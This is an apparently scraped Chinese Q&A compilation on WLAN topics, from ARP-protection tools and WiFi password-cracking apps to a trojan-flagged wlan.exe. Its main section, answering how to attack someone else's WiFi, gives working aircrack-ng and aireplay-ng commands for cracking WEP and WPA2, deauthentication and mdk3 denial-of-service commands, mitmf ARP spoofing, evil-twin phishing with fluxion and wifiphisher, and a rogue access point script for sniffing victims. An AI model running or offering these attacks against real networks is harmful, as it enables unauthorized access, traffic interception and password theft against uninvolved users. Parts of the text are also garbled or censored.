内容导读：导航目录:1、wlan安全盾是什么，怎么使用？2、怎么攻击别人wifi？3、电脑用wlan登陆浏览器时出现“跨站请求伪造攻击，已拦截”该怎么办？4、有啥WiFi密码破译软件，比WiFi万能钥匙更好用的？5、wlan...……
导航目录:
- 1、wlan安全盾是什么，怎么使用？
- 2、怎么攻击别人wifi？
- 3、电脑用wlan登陆浏览器时出现“跨站请求伪造攻击，已拦截”该怎么办？
- 4、有啥WiFi密码破译软件，比WiFi万能钥匙更好用的？
- 5、wlan.exe是什么文件，是木马病毒吗
- 6、U盘下wlan.exe是什么文件，360提示是木马程序，真的是么？
wlan安全盾是什么，怎么使用？
wlan安全盾是防止局域网攻击的,就是防止ARP攻击的防火墙。
1、防蹭网
2、抵御一部分 *** 内的arp攻击
3、对于网速和信号稳定方面一般不会有太大影响
怎么攻击别人wifi？
1.保密性
我们攻击WIFI的之一个思路就是从保密性出发，我们希望从无线系统中获取用户的明文数据。首先，我们知道WIFI的的认证加密主要有以下四种方式：OPEN（无加密）、WEP（RC4）、WPA（TKIP）、WPA2（CCMP）。
OPEN的WIFI没有采取认证加密措施，任意用户均可链接WIFI，用户数据在BSS（基本服务集）中明文传输，恶意用户没有任何门槛就可连接，然后通过中间人攻击即可获取用户的数据（SSL、SSH等需要其他工具）。如下图所示：
WEP、WPA、WPA2认证加密模式的WIFI需要破解获取密码，然后通过中间人或直接嗅探的方式获取用户明文数据。步骤就不详述了，WEP抓取IVS包，WPA/WPA2抓取handshake包。
WEP大概如下：
airodump-ng --ivs -w /workspace/sniff/airmon --bssid AP的MAC -c AP的chanle wlan1mon #捕获ivs数据包
aireplay-ng -3 -b 目标AP的MAC -h 某一个连接该AP的station的MAC wlan1mon #发送ARP包获取加速获取ivs
aircrack-ng /workspace/sniff/airmon02.ivs
WPA/WPA2大概如下：
airodump-ng -w /workspace/sniff/airmon-wpa2 --bssid 目标AP的MAC -c AP所在chanle wlan1mon #嗅探无线数据，抓取handshake包
aireplay-ng -0 5 -a 目标AP的MAC -c 某一连接AP的station的MAC wlan1mon #发送deauth包，更快的获取handshake
aircrack-ng -w 你的字典文件 /workspace/sniff/airmon-wpa2.cap #破解wpa2密码
密码破解成功后即可连接AP，通过中间人的方式获取用户明文数据，或者直接用wireshark抓取加密包，然后通过airdecap-ng工具解密，然后用wireshark读取已经解密的数据包。
破解WPA、WPA2不一定成功，取决于你字典是否强大，此时我们可以想办法诱骗用户主动输入WIFI密码，比如我们创建一个和目标AP具有同样ESSID的软AP，用户可以连接上，单在浏览网页时会弹出一个虚假的认证页面，告诉用户必须输入WIFI的密码，用户只要输入密码我们即可获取。可以利用fluxion、wifiphisher等工具实现。
wifiphisher将用户输入的密码当做WIFI的密码，但此密码并没有去验证，如果用户输入错误，也会提示出该密码。
而fluxion会将用户输入的密码与handshake校验，成功方认为获取到密码。
2.可用性
通过使目标用户无法使用WIFI来破坏无线系统的可用性，通常通过DOS攻击来实现，比如发送大量的deauth包来迫使用户station与AP解除认证、连接。
aireplay -0 100 -a 目标AP的MAC -c攻击的station的MAC wlan1mon #发送大量的deauth包，迫使目标station无法连接AP
mdk3 wlan1mon a -a 攻击AP的MAC #mdk3可以伪造大量的station与AP连接，从而耗尽AP的资源造成DOS攻击
3.真实性
（1）恶意用户进入无线系统后，可通过中间人攻击获取或修改用户数据。
ARP欺骗或DNS欺骗，ettercap工具非常方便。下面采用mitmf工具通过ARP欺骗将目标浏览网页中的所有图片上下颠倒。
mitmf -i wlan0 --spoof --arp --gateway 192.168.2.1 --target 192.168.2.1 --upsidedownternet
通过driftnet工具抓取目标浏览网页时的图片
driftnet -i wlan0
当然还可以利用中间人攻击做很多事情，比如获取cookie，嵌入js，结合beef进一步攻击等等。。。
（2）伪造AP进行钓鱼攻击
airbase -ng -e airmon wlan1mon #创建钓鱼热点
然后通过下面的脚本开启dhcp服务器（必须先安装isc-dhcp-server），开启路由，开启系统转发，开启防火墙nat等。
1 #!/bin/bash 2 3 echo '配置钓鱼热点...' 4 5 service isc-dhcp-server stop 6 rm /var/lib/dhcp/dhcpd.leases 7 touch /var/lib/dhcp/dhcpd.leases 8 9 ifconfig at0 up10 ifconfig at0 10.0.0.1 netmask 255.255.255.011 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.112 sysctl net.ipv4.ip_forward=113 14 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at015 echo '等待启动dhcp服务器...'16 sleep 517 service isc-dhcp-server start18 19 iptables -F20 iptables -t nat -F21 22 #iptables -P FORWARD ACCEPT23 iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
此时用户可以不用密码即可连接airmon热点，并可以上网，但此时可以通过嗅探at0网卡获取用户数据。
4.完整性
篡改用户数据，在WIFI攻击这块貌似用处不大。
5.不可抵赖性
电脑用wlan登陆浏览器时出现“跨站请求伪造攻击，已拦截”该怎么办？
这种情况的处理 *** 如下：
1、下载安装360安装卫士或者百度卫士等防毒防木马的软件，对系统进行实时监控。
2、打开系统的防火墙，加强对系统地防护。 *** 如下：
(1)首先我们点击电脑左下角的“开始”符号，然后点击“控制面板”;
(2)在弹出的窗口里点击“系统和安全” ;
(3)在弹出的窗口里点击“Windows 防火墙”;
(4)点击“打开或关闭 Windows 防火墙”；
(5)打钩“启用Windows防火墙”;
(6)完成以上操作之后，点击“确定” 就可以打开电脑的防火墙了。
发生这种现象的原因有：
一、被本机内一些流氓软件（主要是其他杂七杂八的浏览器）所劫持；
二、受到病毒攻击或木马劫持；
三、在同一个WLAN使用环境下的其他用户侵入（估计主要是在未加密状态下）；
四、可能是系统出错。
有啥WiFi密码破译软件，比WiFi万能钥匙更好用的？
目前常见的手机端WiFi密码破译软件主要基于以下两个原理：
一是收集大家（主动或被动）共享的密码；
二是对密码进行逐个推算，俗称暴力破解。暴力破解这种密码破译 *** 利用的是穷举法，比如一个四位并且全部由数字组成其密码共有10000种组合，也就是说最多我们会尝试9999次才能找到真正的密码。
首先，现有的密码破译软件本质上只是一段小程序，一个工具。为了商业运营，在移动端，能够使用的密码破译app都加了一些别的功能，并且为了确保用户能快速连接，他们一般不会采用穷举法。
接下来，我们通过WiFi万能钥匙来说明。
WiFi万能钥匙的基础功能的原理是基于用户人数的，当你使用万能钥匙时，连网后，万能钥匙就会根据你连上的WiFi信息自动检索对应的密码，并将你的设备与WiFi自动连上，但同时，他也会自动获取关于你的使用设备上的WiFi账号的相关信息（比如你家WiFi的信息），其中包括WiFi名称（或者用来标志 *** 用户的MAC地址）和对应的密码。
WiFi万能钥匙中的深度解锁功能是基于其建立的数据库对密码进行破解，但是因为它只是基于自己常用的数据库对密码进行破解，还称不上真正意义上的暴力破解。
不过WiFi万能钥匙虽然没有用到什么强大的技术来辅助破译密码，但是它的用户基数大，算是目前移动端设备更好用、最万能的密码破译软件了。
而在电脑端，网上各大分享和论坛可以找到很多的暴力破解小程序，直接下载工具包，应当是有很多是可以达到破译功能的，并且由于很多是程序员自己写的，就不会存在用户信息被上传的问题。但笔者没有使用过，这里就不予推荐，题主可以自己摸索尝试。
但有一个问题，为什么移动端没有很好的保护个人信息的应用程序呢？因为程序本身并不复杂，而且也不收费，基于经济的考虑，没有公司会单单只做一个免费的且十分强大的密码破译app，所以个人对现在移动端密码破译软件获取用户WiFi数据信息的问题也可以理解，且其不可避免。
当然还有别的 *** 和思路，如基于加密算法漏洞进行攻击的程序、基于应用程序在实现中存在的漏洞进行攻击的程序、通过电压、运算时间等其他信息判断出密钥的程序等。不过对于我们一般用户来说，用不着这么大费周章。
wlan.exe是什么文件，是木马病毒吗
wlan是无线局域网，如果这么单纯的看的话，应该不是木马病毒，但是如果要是wlan-b。exe这种伪装的，那一定就是木马病毒。
其实不用担心，类似于这样的辨别，我们交给安全软件去做就好了。如果想病毒，木马一起发现的话，建议你使用腾讯电脑管家，我用了很久了，电脑没有出现过问题，有几次中毒和木马也都及时发现并删除。上网环境很重要，选择软件要谨慎，现在广告很多，但是水分很大，建立你也不要听信我的，自己使用一段时间就知道了。
U盘下wlan.exe是什么文件，360提示是木马程序，真的是么？
wlan.exe （threat.undef.37561）是一款风险程序。风险程序是指绝对不含有主动传播行为的程序。
包含一些可被利用的IE插件、工具软件、恶作剧程序。以及一些有捆绑病毒、破坏杀软运行环境等高危行为程序。风险程序本身不具备危害性，但有可能会被病毒/木马利用。 wlan.exe 信息： 文件名称：wlan.exe 文件MD5：d5f112c151b79c87e7babe3692b6a9a4 MD5校验文件大小：66KBwlan.exe 危害行为： 暂无分析各杀毒软件对 wlan.exe 检测结果： 经过扫描，其中 5/6/SPAN 款杀毒软件检测到 wlan.exe 含有病毒木马及可疑风险!
软件名称检测结果(仅供参考，用于帮助您判断文件是否安全)毒霸病毒木马：Win32.Troj.Injector.MM.1081344瑞星木马程序：Trojan.Win32.Generic.11FA69EE卡巴斯基蠕虫病毒：Net-Worm.Win32.Kolab.fblNod32病毒木马：Win32/IRCBot.AMC小红伞没有检测到风险Mcafee病毒木马：Spy-Agent.eq!MS08-067